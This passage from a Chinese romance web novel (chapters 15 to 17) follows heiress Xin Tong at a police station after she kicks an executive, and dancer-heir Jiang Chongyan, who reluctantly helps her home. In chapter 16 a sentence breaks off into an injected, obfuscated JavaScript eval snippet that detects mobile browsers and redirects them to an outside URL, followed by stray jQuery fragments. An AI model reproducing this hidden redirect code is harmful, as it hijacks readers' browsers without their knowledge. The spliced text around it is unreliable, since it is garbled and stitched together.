警察来的时候,辛桐还很淡定。 “哦,忘了跟你们说了。” “其实我跟何向荣一直在地下恋,我们是情侣,他是我男朋友。” “所以这事没那么严重,就是情侣吵架,大家散了吧。” “……”警察无语,“他是你男朋友你也不能这么踢他啊!” “不行吗?” 辛桐理直气壮。 ”不是说是情侣的话就两百一根吗?那我付四百,把这事了了。” 钱多多察言观色,迅速插嘴道, “对呀,人家两口子的事,床头吵架床尾和,我们外人插什么嘴?算啦警察同志,罚她一个月不准吃螺蛳粉得了。” 15. 第 15 章 喻承锦半小时前结束了公司会议。 他穿着运动装,坐在更衣室等人。 这里是BEGIN街舞舞蹈工作室,梧城最有名气的舞室之一。 音响十几个小时连环播放,节奏和鼓点震动得地板都在微微晃动。衣着夸张、头发五颜六色的年轻人来来往往,巨大的镜子前总有人影晃动,鞋底擦过地板留下尖锐摩擦声,混着周遭的欢呼与叫好,吹向总有淡淡汗水味道的燥热空气。 喻承锦的人生,和这种地方,重合概率为0.001%。 而他现在之所以坐在这里,那0.001%的原因,是江崇焰。 更衣室的门大开,喻承锦透过玻璃看见走廊最里面的舞房门打开,走出来一个极其高大的金发男人。 T恤被汗湿,贴在皮肤上,深色印记浸出男人隐隐约约的后背肌肉轮廓。前额的头发已经湿哒哒,他随意往后抓了几下,掏出了一个黑色发箍戴上。 很女性化的饰品,但是戴在他头上竟然出奇地和谐。戴的方式毫无技巧,功能性远大于装饰性。前额的金发全被往后固定,露出一张完整的没有任何修饰的脸。 肤色有些深,皮肤透着运动完的红,额头满是汗水。看上去很热,但是下一秒他就掏出一个口罩,严严实实地戴上。 喻承锦静静地隔着玻璃看着,觉得有点好笑。 江家少爷可以不用在剧烈运动完戴上憋闷的口罩。 但是世界街舞大赛冠军、随便开一节大师课就有无数人争抢报名的炙手可热的知名舞者Aiden,如果出现在BEGIN舞蹈室,就必须要时刻避免麻烦。 觉得富N代继承人的生活无聊,是停留在观点层面的个人看法。 ——但是如果真的放弃了这种继承人的人生道路,转而选择了另一种活法,那就一定得付出点什么。对吧。 喻承锦在心里有点揶揄地想。 Aiden是BEGIN舞室的明星大神老师。成名之前就一直在这里跳,成名之后拒绝了其他众多舞室邀请,继续留在了BEGIN。 走廊最里面那间舞蹈室是BEGIN老板专门给他留的,是他的专属舞房,只有他能用。选了最里面一间,平时不会有人经过打扰。工作室里所有食物、饮料和其他设备,对他都全部免费。 他几乎不开课,但是光是奔着他的名头就来到BEGIN学舞的学员就已经不计其数。BEGIN也一步步声名鹊起发展到今天变成梧城最有名的街舞工作室之一。 他夺冠后在圈子里影响力越来越大,许多知名舞者都是他的粉丝。当年比赛的视频也在网上疯狂传播,俊美的长相和碾压一切的实力让那几个视频爆火,至今已几百万的播放量,招揽了众多圈外粉,也让很多圈外人开始对街舞感兴趣。 “Aiden是街舞圈现象级的人物。” 这是圈内所有人公认的观点。 在一个行业做到顶峰,有多困难? 从小被当成精英培养的喻承锦扪心自问,他在商业界算不上什么。同行业里有太多优秀的同龄人企业家,他没有能力开疆拓土,他只是站在母辈的肩膀,继承并保管财富。 而有着和舞蹈完全不沾边的行业的家族背景,却自愿放弃继承人的光明人生,转而从零开始,不依靠任何人地走向一条陌生曲折的道路,最终一步步成为国内最年轻的世界级冠军,甚至小范围带动整个行业的破圈。 ——江崇焰是天才。是艺术家。 勤奋坚定,灵性自由。 …… 隔着玻璃,喻承锦看见江崇焰已经走到了大门前台。 前台坐着一个高挑漂亮的年轻女孩,也是舞蹈老师,教爵士。 精致的妆和发型,衣服也是时下最流行的辣妹风格,看得出来是精心打扮过。 她帮江崇焰打卡,手敲着键盘,眼睛却总偷看他。 好不容易鼓起勇气,羞涩递过去一张电影票,刚想开口。 却被金发男人伸手的动作打断。 江崇焰从她那里拿回卡,没说一句话,甚至连看都没有看一眼。 低垂着眼,转身离开。 更衣室的门被打开。 喻承锦隔着玻璃最后看了一眼女孩失望沮丧的神色。 转而对着一步步向他走来的江崇焰道,“真是绝情。人家想邀请你看电影,就算不同意好歹也说一句吧。” 金发男人脚步未停,走到里间,背对着喻承锦脱下上衣。 后背宽阔,薄薄一层肌肉紧实。汗湿的衣服被丢进袋子里。 “谁?” 他走进淋浴间,声音透着点不在乎。 “……你没看见?前台那个女孩,我记得好像是叫Kitty?刚给你递了一张电影票。” “是吗。哦。” 大少爷动作完全没停,隔间传来水声。喻承锦看他一脸的满不在乎,声音也懒散,知道他又是完全没在意,估计是连那女孩名字都不知道。 这人平常就这样。总是冷着一张脸,配上那头金发,像是凶神恶煞的古惑仔。不在乎外界对他的评价,也不费任何心力去社交,怕麻烦,没礼貌,无所顾忌,不在乎的人和事完全自动忽略。 他没什么朋友。长得不好惹,讨厌突破边界感的社交,性格还很龟毛——比如明明刚练完舞,等会就要和喻承锦一起去踢球,他却非要现在再冲个澡。 爱干净得要命。 * 两人踢完球已是晚上九点多。 停车场里司机已经坐在迈巴赫里等着。喻承锦上了后座,擦掉额上的汗,拿出手机想看看邮件,却一下子在职业论坛消息推送那里看到了一个熟悉的名字。 ——一个可以把所有事情闹得一团乱、让人听见她的名字就胆战心惊的人物。 他不由自主抬起头,看了一眼坐在旁边仰头喝可乐的江崇焰。 练了一整天的舞,又无缝衔接踢了两小时的球,此人几乎没有任何不适的反应。常年跳舞和锻炼,个子高但是精瘦,体力好得惊人,剧烈运动完就毫无顾忌地喝碳酸饮料。 “……真厉害。”喻承锦盯着手机,面色有些古怪地看完整篇内容。半晌才发出一声轻笑感叹,抬起头,看着江崇焰。 “那位辛桐小姐,把Kelly原总裁给打了。” 熟悉的名字说出口,他就注意到男人拧瓶盖的动作顿住了。 三秒之后,瓶盖继续被拧紧,江大少爷平静的声音传来。 “没兴趣。” “不用告诉我。” 语气轻飘飘,扭头看向车窗外。 “是在公司会议室里打的,当的所有高管的面。” “不关心。别说了。” 旁边强调。 “踢的下三路。挺狠。”喻承锦措辞,“听说对方住进医院了。” “……和我无关!” 喻承锦最后补充,“但是她自己完全没伤到。现在听说人在警局。” “你有病?” 眼看着江大少爷忍无可忍,喻承锦终于笑了。 “用最简单直接的方法立威,直接物理瓦解旧势力,算得上杀鸡儆猴,还很符合一贯的人设形象。” “我说过,她是个很有意思的妙人。和传闻里的她绝对不一样。” “你还真是高看她。” 江大少爷冷笑。 “就她那脑子,打人绝对是出于情感,没有技巧。” “前脚说要好好经营公司,后脚就进警察局了。做事完全不考虑后果。” 他抱胸,烦躁般吐出几个字。 “又废又俗,好色狂妄,蠢得挂相。” 喻承锦愣住几秒。 脸上浮现出极其新奇的神色。 他从未见过江崇焰这样形容过一个人。 不是嘴毒,不是贬低,而是他第一次见到江崇焰对一个人产生这样大的情感波动。 不熟悉的人,在他眼里就都属于无关紧要的人,没有爱也没有恨。不管你是舞室的Kitty,还是吴氏的豪门千金,就算向他表白也只能得到一句简单的“哦”,连你叫什么名字都不会记得。 从来没有人会像辛桐一样,在江崇焰这里得到多 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“程锐那小子又跟同学打架了,这次伤得重进局子了!” “我这舞队正排练呢,下个月就比赛了,走不开,你能不能帮我去看看!” 深蓝色的迈巴赫骤然调转方向,消失在梧城的夜色里。 * 江崇焰走进派出所,老远就看见,程锐靠着墙歪歪扭扭地站着,脸上鼻青脸肿,却还满脸不服气,眼神瞥向一边。 他走上前,那小子看见他,立刻就立正站直了,别别扭扭喊了一句Aiden哥。 跟警察了解完情况,江崇焰眉头越皱越厉害。 “你妈供你上学,是让你三天两头地去打架的?” “那个小混混欺负女生!”程锐不服气大喊。 江崇焰听完,神色轻松了些,哼出一口气,拍拍他的头。 “打就打了。自己伤得不重就行。” “下次记得智取。” 小孩子躲开他的手,忿忿不平,“你以前打架那么狠,现在还来教育我?” “……”江崇焰难得被噎了一下,沉着脸,“学点好,别学我。你妈赚钱供你读书容易吗。” “正好我也不想读书。”程锐盯着他,“我要和你们一起跳舞!” “别给自己文盲找借口。” 江崇焰一记暴栗打过去,打得程锐怪叫一声捂住头,随后长臂一伸,把那小子带着往外走。 “先上个大学再说别的。” 让门口喻承锦的司机把程锐送回家,江崇焰重新回到警局。 未成年人打架互殴,没有行政拘留,但是得交罚款。 他低头掏出手机。 派出所走廊没什么人影,夜晚十点多,安静,透着点冷风。 左边一道房间的门却突然被打开,走出来一个警察。 “在得到对方的调解同意之前,你只能在这里呆着。” 说完这句话警察就走了。 身后只剩一个年轻女生站在原地。 高挑,黑色长发,全身香奈儿,帽檐宽大得差点撞到门框。踩了一天的高跟鞋,走路的动作都有些奇怪,无精打采地靠着门。 四目相对的一瞬间。 有什么奇怪的气氛在安静的空气里发酵。 江崇焰站在原地,目光扫到她身后房间门口的“询问室”牌子上。 看样子是刚做完笔录。 她把Kelly原总裁踢得进了医院。所以会在这里遇见,也不是没有可能。 明明是在看她身后的“询问室”牌子,那女人却好像以为他一直在看她,脸色变了又变。 好像是想到了什么,表情怪怪的,突然对他怒目而视。 最后,还把双手伸到背后,紧紧地捂住了自己的屁股。 江崇焰:? 16. 第 16 章 江崇焰看见那女人捂住屁股的诡异动作。 挑眉。眼神冷淡移开。 “有病。” 不知道那蠢女人脑子里又在想什么。 辛桐走到走廊座位旁,坐下。 挺直脊背抱胸,冷哼一声。 她简直都怀疑这男人在跟踪她。 不然怎么会每次都恰巧遇见! 那个荒唐的毫无自尊的梦实在是太真实了。触感,听觉,视觉,气氛,简直和现实一模一样。 此时她一看见他的那张脸,思绪就不自觉被拉回那个梦里。 昏暗的房间,点着香薰蜡烛的淡淡燃烧香味,金发男人冷厉的眼神,带着体温的健壮有力的大腿,以及…… 辛桐眼珠子转转,眼神莫名其妙落到男人垂在身侧的手上,开始盯着看。 好大的手。 手指也很长,食指和中指上带着银戒。 指甲修剪得很整齐。 如果握住一团什么东西的话,可以一整个包住。骨节突出的手指会陷进柔软的软肉里,冰凉的戒指会冰得皮肤微微一震。 肤色偏深,体脂低,所以皮下脂肪薄,青筋极其明显,在小臂肌肉上延伸,像是起伏的青色山脉。 ……怪不得打起人来那么痛。 辛桐没好气地想,长得人模人样,堂堂江氏继承人,居然背地里喜欢玩这套侮辱人! ——人面兽心! 哦不,这男人不是人面兽心。 因为他长得就凶巴巴的,凌厉叛逆,还一头金毛。非常表里如一。 他是兽面兽心! 她高傲瞥向别处,“哼。谁知道你心里在想些什么。” “会不会,”想到什么,心有余悸地捂住屁股,“会不会觊觎我娇嫩宝贵的身体!” “?” 对面站着的男人像是被气得笑了。 黑眸幽暗,歪了歪头,紧盯着她。 “我,觊觎,你?” “需要我帮你回忆一下吗。”他冷笑着。 “你第一次见面就一边掀我衣服,一边问我哪家会所的事。” ……辛桐词穷了。 她这辈子和人吵过无数次架,只有两点她无法反驳。 一是说她废。一是说她色。 那怎么办呢。人生的意义就这两个了。不懂的永别了。 梧城的初秋夜晚。派出所走廊,安静,冷清。 冷风从铁质窗沿外透进来,吹得辛桐打了个冷战。 蓝白色的墙壁莫名肃穆,头顶八个大字“执法公正,纪律严明”,屁股下的不锈钢椅子又冷又硬。 衣服在下午混乱的厮打中被何向荣泼了一大杯咖啡,黄褐色的脏污印记黏在裙子衣领上,湿哒哒地贴着,被冷风一吹,激得人骨头都打颤。 踩了一天的高跟鞋,脚背被磨红了,碰一下都疼。 真狼狈啊。 没人陪她,她只能一个人在这,等到进了医院的何向荣同意调解为止。 嘴里又干又涩,今天一整天都没喝水,渴得难受。 她盯着面前高大男人裤子口袋看。 男装裤子口袋大,什么都能装进去。鼓鼓囊囊的,圆柱状物体,露出了最上方的红色瓶盖——是一瓶小小的瓶装可乐。 看样子是之前喝了一半随手放进去的。 她又想起江远滨说自己孙子喜欢喝可乐,所以家里都一直备着冰可乐的事。 果然,一切都连上了。 要是早就猜到Aiden就是江崇焰,早点跟江崇焰认错道歉,是不是还有机会跪舔一下江大少爷,请求他回家吃饭,然后就能让江远滨教自己做西装? 辛桐盯着那瓶可乐,脑子里一心一意想着正事,还在思考怎么能得到江家的帮助。 却没注意到,对面的男人看着她投射过来的眼神,脸色越来越黑。 ……这女人在看他哪里?? 还看得目不转睛,眼睛都不眨一下! 江崇焰低头看看,比对了一下位置,确认不可能是其他地方了,只有可能是那里。 他简直不可置信。 这邪恶女人到底是有多好色?!人都在警局了还有闲心想这种事! 辛桐还没思考出什么结果,突然就感觉面前投下一片阴影。 抬头,对上那人的眸子。 年轻男孩眉骨立体,睫毛长而浓密,眼底透着点恼羞成怒。 “好看吗。” “……啊?” 辛桐懵懵的,舔舔干渴的唇。 这是什么问题,他是问可乐的包装好不好看? “这东西,好不好看的……”她斟酌着回答,“无所谓吧。功能性比较重要。” 毕竟她此时真的很渴。 “?” 辛桐明显感觉到,说完那句话,眼前站着的男人浑身气压又低了几度,压着眉眼盯着她看,瞳孔骤然紧缩,一脸难以置信。 “我们才见过几面,你怎么就能说出这样的话?” “你真是,你真是……” 江家大少爷声音沉沉,像是咬着牙说出来的。胸膛微微起伏,皱着眉,罕见地说到一半便被气得语塞,最后只能恼羞成怒挤出一句。 “你真是我见过最无可救药的女人!” ? 莫名其妙被骂了一句。 辛桐名声一直不好,倒也习惯了被骂,所以没什么太大反应。 她挠挠头,干脆说出一直想说的话。 “你骂也骂了,能帮个忙吗?” 没管男人骤然紧缩的瞳孔,她指指他的下半身——最终,精确指向了他工装裤身侧的口袋处。 “这可乐,你还喝吗?不喝的话可以给我吗,我真的很渴。” “……” 周围陷入死一般的沉寂。 一秒。两秒。三秒。 眼前浓重的阴影开始收缩,高大的男人忽然弯下腰,带过来一小股微弱的气流,混着他身上的淡淡木质调香味。 一只手突然伸过来,往她手里塞了什么东西。 还没看清楚,那手就迅速抽了回去。揣进黑色工装裤口袋里。 脚步声响起,她感到屁股下的凳子一晃,是左边突然坐下了一个人。 辛桐低头看了看被塞到她手里的可乐。 又往左,看看坐到她旁边的江大少爷。 坐得离她稍有距离,像是心里仍讨厌她不愿意坐得太近。高大的个子缩在椅子上显得有些逼仄,长腿打开,手肘放在大腿上。 脸颊上莫名其妙多了一层可疑的红色。 动作却生硬地偏着头,一眼也不愿意看她。 辛桐疑惑看了他几眼。 这么别扭,烦躁。 看上去脸红像是被气出来的。 她不甚在意地收回视线。 可乐是新的,瓶盖还没开封,她拧开喝了好几口,舒爽地掏出手机,“我扫码给你钱。” “不用。” 语气生硬。冰冷。 丢下这两个字,他再不愿开口。 …… 突然,辛桐包里手机震了震。 她掏出来接通。 对面是梧城桃色印记会所的李老板。 桃色印记是梧城规模最大的私人会所。中年女人极会做生意,本地人海派口音,嗲着嗓子一口一个宝宝地叫,问辛小姐不是已经回国了吗,怎么回国好几天了都没来,好货色都给你备好了。 辛桐身心俱疲。 “烦着呢。最近干正事,没空。对不住啊。” 辛桐回来抢家产的事情,全梧城有钱人圈子里没几个不知道的,更别说这种专以有钱人为客户的服务行业,信息最为灵通。 对面安慰几句之后,便极力盛情邀请,“宝宝,就是因为压力大侬才要过来呀!” “最近到了好几个混血,专给你留的,金发碧眼,那小腰又窄又有劲,哎呦带劲得不要不要的呀!” “几个头牌之前还去了泰国进修,专门学了口口打鼓的绝活,你不来看真是亏了呀!” 李老板声音极大,没开免提也能透过手机声筒传出去。 辛桐哪有心思搞黄,现在满心都是做生意经营公司抢家产。她稍微捂住听筒,应付了几句,长吁短叹挂断了。 周围一片安静。 她心里装着事,愁眉苦脸去摸刚刚放在身侧的可乐,想再喝几口。 ——可还没完全拧开瓶盖,就猝不及防被旁边伸过来的一只大手拿走。 “还我。” ? 辛桐微张着嘴。 “我怎么又惹到你了?” 大少爷抿着唇,一言不发,又坐得离她远了点。 眉宇之间全是冷意,只留给她一个潇洒冷酷的侧面后脑勺。 ……莫名其妙的少爷脾气! 辛桐也来气了,谁还不是家里娇生惯养长大的了?她没好气地抱胸,往后一靠,也不说话了。 两个人就这样不尴不尬地坐着。 晚上十点的派出所走廊。寂静,阴冷,空气凝滞地停住。 一左一右,像是较劲般,谁也不看谁。 脚背还在隐隐作痛。湿透的衣领被冷风一吹,她瑟瑟发抖地捂住自己。 “辛桐——” 旁边传来一道声音打破沉闷,一个警察走过来。 “你就是辛桐?” 那警察憋着笑,上下扫了她几眼。 “下次别再乱说了。何向荣不是你男朋友,这玩笑开不得,别抱侥幸心理。” “伤情鉴定结果已经出了,那边已经同意调解了。因为那边人现在还在医院,等情况好点再双方过来签调解协议。” “你可以走了。” ……男朋友? 江崇焰敛眉坐在一边,一动不动。 偏着头,依然保持着完全不看辛桐的姿势。 可眉心却一点点地皱起来。 在她眼里,“男朋友”这个称号到底有多廉价? 在聚会上可以无所顾忌地调戏陌生人男模,一看到腹肌就眼冒金光。 打完架为了脱罪,可以随手指着五十多岁的老男人何向荣说是自己男朋友。 被喻氏的员工误认为是喻承锦女友也不解释,还送了喻承锦一大堆礼物,两个人孤男寡女在办公室里呆了那么久。 异性关系在她眼里就那么无所谓吗? 和其他人的眼神观看、身体触摸、被误会情侣关系……这些都可以毫不在乎吗? 活了23年但从未谈过恋爱的江大少爷皱着眉头。 低垂着头,半晌,嘴角溢出一声冷笑。 不是说为了向江家寻求帮助和合作,还要送给他江诗丹顿的表吗? 可是知道了他就是江崇焰以后,慌里慌张地就跑了。副驾驶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347238|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一堆礼物,他一个也没收到。 ——明明身为江氏继承人,他才是她最应该直接讨好、打点关系的人物。 可现在,他却觉得自己连喻承锦都不如。 这就是她求人的态度? 江崇焰冷着眉眼,一把拉起帽子罩在头上,高大的身影站起身。 一眼都没看旁边的女人,长腿一伸就准备走。 “哎!等等!” 辛桐能屈能伸地叫住他。 “你能不能,再帮我个忙?” …… 从警察那里得知何向荣同意调解的消息之后,辛桐面色一喜。 还算那何向荣有点脑子,知道事情不能闹大,她毕竟是董事长亲女儿,私下调解赔钱也就算了。 今天这一脚,收拾了对手,让对方有苦说不出,顺带还帮纪宁报了个仇,简直神清气爽! 辛桐心情好得不行,可是当她打开手机准备叫人过来接自己时,笑容却僵在脸上。 ……她的手机,此时竟然彻底没电关机了。 刚刚接李老板电话的时候太急,没发现那个时候就已经只剩红色的醒目的2%了。现在更是直接关机。 此时已经接近凌晨。没法找人来接自己,同时也相当于所有支付方式都没法使用。 她呆坐着。还没想出解决办法,余光就扫到左边一直坐着的男人突然站起身,一声招呼都不打,甚至看都没看她一眼,戴上帽子就准备这样冷酷迅速地离开。 “哎!等等!” 辛桐老老实实喊了一句,“江少爷,之前所有的事,我向你道歉。也谢谢你的可乐。” “我手机没电了,你能再帮帮我吗?” 平时那么狂妄嚣张的豪门大小姐现在却浑身狼狈得很,衣服也脏了,鞋子也歪了,脚看上去还很痛的样子,走路都走不远。 她抬眸,直直地凝望着他,此时倒是乖得不行,眼睛晶亮水润,声音也放软了,沙哑黏糊。 “帮我找个充电宝,或者叫出租车来送我回去,都行。” “求你了。” 这番话确实已经说得极为诚恳。 辛桐自认为她自己不是一个品德高尚的人,但是如果换做是江崇焰今天遇见了这种情况,或者哪怕是吴思枫,她也会帮这个忙的。 可是,面前站着的高大男人却嗤笑一声。 垂眸淡淡地看她。 “你凭什么觉得我会帮你。” 辛桐愣怔住了。 毫不在意的神态。冷冰冰的语气。不耐的眼神。 她就算再蠢,她也能知道,一个人露出这种神态是什么意思。 这是再直接不过的讨厌。 他应该是极其讨厌她,厌恶她。连一丝一毫和她有关的事情都不想沾染,她今晚能否安全回去,对于他来说是毫无关系的边角之事。 或许是她呆愣的样子太蠢,男人已经失去所有耐心。 高大身影毫不犹豫转身,离开,走出了警局的大门。 * 是啊。她凭什么觉得江崇焰会帮她。 两人至今为止满打满算才四次见面,没有一次是愉快的。 充满了针锋相对,误会巧合,添油加醋,嘲笑比对。 在他眼里,她应该是一个特别可恶的女人吧? 行事浪荡荒唐,脑子愚蠢低俗。 梧城二代圈子里,哪个愿意和自己扯上太多关系的? 果然,自己在哪都不受欢迎。 失望一点点从心口溢出来。 她呆坐了片刻,窗外冷风吹进来,她被冻得一抖。 低头看了看脚背的情况。还行,虽然很痛,但是她能忍。 站起身去前面看了看。此时已是后半夜,办公室里就一两个警察还在值班,躺在拼接的沙发和凳子上睡得呼噜震天。 她又去其他几个办公室找了找,好不容易找到一个清醒的想问问能不能借地方充电或者打个电话,却被极其不耐烦地挥手赶走。 “没有!没有!当警局是什么收容所?” “赶紧走!” 辛桐被赶了出来。 茫然站在原地,左右看看,只能低着头,蹒跚着走到门口的台阶上坐下。 昂贵的裙子面料被粗粝的地面擦过。高跟鞋终于被脱下,放在一边。细嫩白皙的脚边缘已经全部被磨红,脚后跟已经起了水泡。 脚就这样踩在粗糙的石板上。 她耷拉着脑袋。 可以等女警察帮忙。可以等天亮了路边经过空的出租车,上车以后到家再给钱。……方法很多,但是都得等。 脑子里乱糟糟的。 周围漆黑一片,梧城的夜晚繁星满天。 突然,前方寂静一片的黑暗中,突然响起引擎声和车轮的摩擦声。 车在她面前停下。 一个四四方方的鞋盒,被从车窗里甩出来,“啪——”地一声,重重地摔在辛桐面前的地上。 她低着头,愣住了。 是个知名运动品牌的鞋盒。打开,一双崭新的白色运动鞋。 还没反应过来,下一秒,又有什么东西被甩出来,落在她头顶上,垂下来挡住了她的视线。 摸上去,很舒服的触感,包裹着她裸露的皮肤,暖意融融。 是某奢侈品牌子的羊毛披肩。 头顶响起那人冷酷的声音。 “上车。” 17. 第 17 章 辛桐木然三秒钟。 然后,眉眼一弯,不自觉笑出声了。 周围黑夜沉沉。梧城繁华,后半夜街上仍然有零星的人影,晃在微弱冷然的月光之下。 夜风拂过,吹起她脸侧的黑色长发。 她坐在冰冷坚硬的地面上,微微往后靠了一下,歪着头,嘴角漾起笑意,就这样迎上车里那人的目光。 像是被她这副带着点得意的样子弄得有些无言,她似乎听见江崇焰叹了一口气。 “又怎么了,大小姐。” “走不动。” 理所当然的语气,声音带着点沙哑,带着点娇俏。 她扭着脖子往左,只留给他一个高傲的侧脸,眼珠子乱转,盯着天边的星星,嘴角却不自觉地偷偷上扬。 两人就这样僵持一会。 终于,江崇焰打开车门,走下来。 年轻男人高高大大,站在她面前像堵墙一样,辛桐几乎要仰起脖子垂直90度看他。 看得太累,索性不看,她干脆平视,高度正正好好对着他的腰腹部。 非常娇纵地把光着的脚朝他一伸。 “给我穿鞋。” 江崇焰脸色瞬间黑了。 他冷笑,“你是第一个敢这么对我说话的。” 江崇焰是典型的骨相帅哥,长得凌厉,轮廓线条明显,肤色偏深,不笑的时候显得凶神恶煞。配上那头金发,冷淡的神色,以及平时嘻哈酷炫的穿衣风格,半夜走在街上都能吓哭小孩。 在家里是江氏唯一继承人,在外面是街舞世界冠军,他到哪都是备受尊敬,少爷脾气揣着,潇潇洒洒冷冷酷酷,从来没人敢主动招惹他。 ——但是,辛桐这辈子,恰好从来没怕过任何东西。 她毫不畏惧地直视男人黑沉沉的目光,勾起一个暧昧的笑。 “我就喜欢拿走男人的第一次。” “……” 大少爷脸色更难看了。 黑夜中,光线昏暗,辛桐看不清他的神态。只觉得他似乎被梗住许久,才憋着一股气蹲下身子。 他的手很大。掌心有层薄茧,触及辛桐脚腕的皮肤时只觉粗糙,带着点硬硬的摩擦感。 不像辛桐手脚冰冷,成年男性的体温极高,手心带着源源不断的温热,从皮肤相触的地方传来。 像他的名字。 火焰般燃热。 他低着头,一言不发。头顶金色碎发堪堪遮住眉眼,表情看不真切,只能看见高挺的鼻子,以及抿紧的唇。 直到把两只鞋都穿上,他却还单膝蹲在原地,一动不动。 末了,低着头,突然说, “你就这么喜欢对男人开这种玩笑吗。” 辛桐讶异。 抬起头,直直撞进他眼睛里。 梧城初秋的黑夜,路边漆黑的草丛隐约传来虫鸣,天边残月微光。 年轻男生的眼睛黑沉透亮,黑白分明,就这样盯着她的脸看。 这是一双极其好看的眼睛。 男人其他地方都长得锋利,线条和骨骼感强烈,窄脸瘦削,皮肉紧致。 但是唯有这双眼睛。 ——卧蚕明显,眼神明亮,睫毛浓密,眼尾还带着点微微的下垂。削弱了一点强烈的攻击性,给他增添了许多清爽明朗的少年气。 两人对视几秒钟。 江崇焰语气突然变得冰冷。 “我不是你那些可以随便调戏的男模。” 生硬缄默,语气沉冷。 辛桐心里一噔。 ……他生气了。 他说得对。他不是那些男模。 他是名门江氏唯一的继承人,冷漠锋利的天之骄子,梧城二代圈子极尽全力想要打探结识的顶级资源。 ——也是她辛桐为了得到江氏帮助,费尽心思想要巴结拉拢的对象。 辛桐呼吸一窒,心瞬间凉了半截。 完了,弄巧成拙了。 都怪这张破嘴! 习惯跟帅哥打情骂俏了,忘了面前的人到底是什么身份了! 辛桐心里泛起无尽的懊悔,恨不得抽自己两嘴巴。 之前得罪他的事情还没过去,现在又添新隔阂。 尴尬的寂静弥漫在空气里。 辛桐看着他,微微张着嘴,刚想开口缓解一下气氛。 眼前一闪,却突然瞥见了什么东西。 只见头顶路灯微弱荧黄的光亮下, 男人侧脸冷硬,流畅锐利的下颌线末端,金色发丝浅浅遮挡的耳畔, 耳垂和周围的皮肤,却全都泛着一层淡淡的红。 ! 她眯了眯眼,又认真看了一遍,确认自己没看错。 辛桐此人又蠢又废,但是有一点很厉害。 在无数醉生梦死的夜晚和推杯换盏的玩乐放纵中,她能很敏感地觉察出周围人的情绪变化。 懂调情,思维跳脱,出手阔绰,一次点七八个男模都不会冷落任何一个。也正是靠着这一点,她在会所里是极为受欢迎的客人。 她眨眨眼,盯着眼前男人泛红的耳尖看了几秒。 突然有点意识到,今晚好像见识到了这位锋利叛逆的江大少爷极少对人展露的一面。 想到这里,心里瞬间有什么隐匿的冲动要破土而出。 她突然想试探一下,大少爷的底线到底在哪里。 辛桐忽然笑嘻嘻开口, “但你胸肌比男模大。” 这话一说出口,她就看见,眼前男人骤然僵住。 随后不可置信般抬起头,胸膛开始剧烈起伏,脸色极其难看。 被冒犯的强烈的恼羞成怒感几乎令他整张脸都涨红,他眼神晦暗不明地死死盯着她,目光凌厉得可怕。 辛桐本来还在嬉皮笑脸地等着看大少爷面对这样一个不知羞耻的女人调戏的时候会有什么样的反应。 但下一秒就看见,面前的男人突然伸出手,一把抓住她肩颈处的羊毛披肩,往上毫不留情地一扬,把她整颗脑袋全都包了起来。 辛桐眼前霎时间变得一片漆黑。 整个人像个愚蠢滑稽的大头娃娃。 “喂!你……” 看不见东西的感觉让人慌张,她手忙脚乱地打算把披肩从脸上扒下来,可是下一秒两只手腕全都被一股强硬的力量给叩住。 紧接着失重感突如其来,整个人突然悬空了,她直接被男人拦腰扛了起来。 “啊啊啊啊!——” 他身高已经188了,现在辛桐整个人被他扛到了接近两米的位置。 眼前一片漆黑什么也看不见,未知恐慌加上恐高倒吊的失重感,吓得她头晕目眩,脸色煞白。 可就在这时,身下那人还嫌不够似地,原本抓在她大腿上的手竟然松开了! 此时她唯一的支撑点也没了,整个人倒挂着在黑暗中骤然直直地往下落。她尖叫着胡乱抠紧身下人的衣服,觉得自己要头着地摔死的前一秒,又被他猛地握住大腿,心有余悸地挂在他身上。 就这样翻来覆去几次,辛桐已经被吓得眼泪都飙出来。柔软的下腹抵着男人硬邦邦的宽阔肩膀,硌得极其难受,她只能像只毛毛虫一样放声大哭一边惊慌挣扎。 “我错了,我错了……” 眼泪倒流进鬓边的头发里,她狼狈羞耻地喊。 “错哪了?”男人声音冷沉,不为所动。 “你别,别生气了……”她哭得一抽一抽的,话都说不清楚,发出一连串未知意义哼哼唧唧的哭喊声,“你要是不喜欢,我再也不说了……” “重新说。” 她于是乖乖重新说,“你的胸肌很小,没有男模大,呜呜呜。” “……” “不对。” “男模的胸肌比你大。” “……不对!” 还有哪不对?你比他大,反义词不就是你比他小吗?不就是他比你大吗? 辛桐被倒吊着,脸都已经充血,抽噎着完全不能思考。 她突然觉得,这场景和对话为什么如此熟悉? 被逼迫的感觉让她浑身充满羞耻感,她咬咬牙,终于想到熟悉感从何而来了。 ——这不是和那个荒唐的梦一模一样吗! 这个小气到极点的臭男人! 再也顾不上什么家产大计、什么讨好江家的正事了,辛桐此时满心满眼全是愤怒,扭着头把眼泪全都蹭到男人宽阔的背上,大喊: “江崇焰,我讨厌你!” 下一秒,她脸上的披肩就被扯了下来。 光明终于重现,她大口喘着气,往下看了看,这才发现: 原来她并没有往下坠多少,大部分自由落体的想象都来源于被蒙住眼睛后的未知失重的恐慌感。 而身下的男人一手握着她大腿,一手隔空虚虚拦在她的腰后,完全是保护的阵势,是绝不会摔下去的。 哭声停止。 紧接着又是一股被耍的愤怒涌上心头。 还没等她说话,整个人天旋地转就被一把扔进车的副驾驶里。 “再拿我跟男模比较,就把你扔进河里。” 声音又冷又凶。 哐地一声,车门被关上。 男人一言不发打开驾驶座车门,坐了进来,浑身带着低气压。 汽车在黑夜中扬长而去。 * 梧城中心城区。 现在是早晨十点。何川和辛文清都已出门去了集团总部,整间别墅里静悄悄。 何天麒走出房门,站在咖啡机前。 机器传来轻微轰鸣声,空气里慢慢开始弥漫出咖啡豆苦涩焦香的气味。 他已经晨跑回来,洗了个澡,上完了一节课。 外语,数学,统计,商业分析,企业管理……各种各样的课程占据他每天所有的时间。 